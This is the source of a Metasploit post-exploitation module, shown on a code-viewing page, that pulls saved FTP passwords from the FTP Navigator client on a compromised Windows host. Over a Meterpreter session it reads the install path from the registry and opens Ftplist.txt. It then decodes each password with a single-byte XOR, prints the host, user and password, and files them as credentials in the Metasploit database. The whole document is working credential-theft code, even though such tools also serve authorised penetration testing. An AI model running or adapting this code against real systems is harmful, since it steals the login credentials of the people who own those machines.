Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/ftpnavigator.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather FTP Navigator Saved Password Extraction',14'Description' => %q{15This module extracts saved passwords from the FTP Navigator FTP client.16It will decode the saved passwords and store them in the database.17},18'License' => MSF_LICENSE,19'Author' => ['theLightCosine'],20'Platform' => [ 'win' ],21'SessionTypes' => [ 'meterpreter' ],22'Compat' => {23'Meterpreter' => {24'Commands' => %w[25core_channel_eof26core_channel_open27core_channel_read28core_channel_write29]30}31}32)33)34end3536def run37key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Navigator_is1\\'38val_name = 'InstallLocation'39installdir = registry_getvaldata(key, val_name) || 'c:\\FTP Navigator\\'4041path = "#{installdir}Ftplist.txt"4243begin44ftplist = client.fs.file.new(path, 'r')45rescue Rex::Post::Meterpreter::RequestError => e46print_error("Unable to open Ftplist.txt: #{e}")47print_error('FTP Navigator May not Ne Installed')48return49end5051lines = ftplist.read.split("\n")52lines.each do |line|53next if line.include? 'Anonymous=1'54next unless line.include? ';Password='5556dpass = ''57username = ''58server = ''59port = ''6061line.split(';').each do |field|62next if field.include? 'SavePassword'6364if field.include? 'Password='65epass = split_values(field)66dpass = decode_pass(epass)67elsif field.include? 'User='68username = split_values(field)69elsif field.include? 'Server='70server = split_values(field)71elsif field.include? 'Port='72port = split_values(field)73end74end7576print_good("Host: #{server} Port: #{port} User: #{username} Pass: #{dpass}")77service_data = {78address: Rex::Socket.getaddress(server),79port: port,80protocol: 'tcp',81service_name: 'ftp',82workspace_id: myworkspace_id83}8485credential_data = {86origin_type: :session,87session_id: session_db_id,88post_reference_name: refname,89username: username,90private_data: dpass,91private_type: :password92}9394credential_core = create_credential(credential_data.merge(service_data))9596login_data = {97core: credential_core,98access_level: 'User',99status: Metasploit::Model::Login::Status::UNTRIED100}101102create_credential_login(login_data.merge(service_data))103end104end105106def split_values(field)107values = field.split('=', 2)108return values[1]109end110111def decode_pass(encoded)112decoded = ''113encoded.unpack('C*').each do |achar|114decoded << (achar ^ 0x19)115end116return decoded117end118end119120121